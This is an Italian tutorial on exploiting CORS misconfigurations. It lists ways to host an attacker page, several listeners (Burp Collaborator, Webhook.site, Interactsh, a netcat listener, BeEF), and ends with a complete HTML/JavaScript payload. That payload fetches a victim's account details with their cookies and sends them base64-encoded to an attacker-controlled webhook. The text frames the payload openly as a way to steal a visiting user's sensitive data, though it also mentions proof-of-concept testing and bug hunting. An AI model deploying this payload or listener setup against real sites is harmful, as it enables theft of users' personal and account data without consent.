tags: CORS_Vulnerability CORS_Exploit


Per effettuare questo attacco abbiamo bisogno di:

Il Dominio e l’Hosting

Invece dell’URL dell’Exploit Server, avresti bisogno di un tuo spazio sul web. Gli attaccanti usano diverse opzioni:

  • VPS (Virtual Private Server): Un server tutto tuo (es. su AWS, DigitalOcean o Linode) dove carichi i file.

  • GitHub Pages / Netlify / Vercel: Servizi gratuiti per ospitare siti statici. Sono perfetti perché offrono HTTPS (obbligatorio, dato che molti browser bloccano richieste cross-origin da siti HTTP a HTTPS).

  • Ngrok / LocalTunnel: Se vuoi testare dal tuo PC locale, questi tool creano un tunnel pubblico che punta al tuo localhost.

Il Listener

Lo Standard Professionale: Burp Collaborator

Se usi la versione Professional di Burp Suite, il Collaborator è lo strumento principe.

  • Come funziona: Genera un dominio univoco (es. xyz123.oastify.com). Quando il browser della vittima effettua una richiesta a quell’URL, Burp registra tutto: header HTTP, parametri della query e persino query DNS.

  • Perché si usa: È integrato perfettamente nel workflow di test e gestisce automaticamente HTTPS, rendendo l’exploit molto più affidabile.


Servizi Cloud (I “Quick & Dirty”)

Sono perfetti per test rapidi o per dimostrare una Proof of Concept (PoC) senza configurare un server.

  • Webhook.site: È il più famoso. Ti dà un URL istantaneo e vedi le richieste apparire in tempo reale sulla pagina web.

  • Interactsh (di ProjectDiscovery): Molto amato dai bug hunter moderni. È open-source e può essere usato tramite CLI (riga di comando), il che lo rende ottimo per l’automazione.

  • RequestBin: Simile a Webhook.site, utile per ispezionare i payload HTTP.


Listener da Terminale (Il “Coltellino Svizzero”)

Se hai una tua VPS (Virtual Private Server) con un IP pubblico, puoi “ascoltare” direttamente dal terminale.

  • Netcat (nc): Il classico dei classici.

    nc -lvnp 80 Ascolta sulla porta 80 e stampa a video tutto quello che arriva.

  • Python http.server: Utile per ricevere file o semplicemente loggare le richieste GET.

  • Script ad hoc: Come ti accennavo, un piccolo file in PHP o Node.js che scrive i risultati in un database o in un file .txt per l’analisi successiva.


Framework di Attacco (Per scenari complessi)

Se l’obiettivo non è solo rubare una stringa, ma mantenere il controllo del browser della vittima:

  • BeEF (The Browser Exploitation Framework): È un listener avanzato che, una volta “agganciato” (hooked) il browser della vittima tramite lo script, ti permette di lanciare ulteriori comandi (es. catturare screenshot, rubare cookie di altri siti, mappare la rete interna).

Il Payload

Questo è il payload da inserire nella pagina che vuoi che l’utente visiti per rubare i suoi dati sensibili:

<!DOCTYPE html>
<html>
<body>
    <script>
        const target = "https://vulnerable-site.com/accountDetails";
        const attackerWebhook = "https://webhook.site/tuo-id-univoco";
 
        fetch(target, { credentials: 'include' }) // 'include' invia i cookie
            .then(response => response.text())
            .then(data => {
                // Invia i dati rubati al tuo server
                fetch(attackerWebhook + "?stolen=" + btoa(data)); 
            });
    </script>
</body>
</html>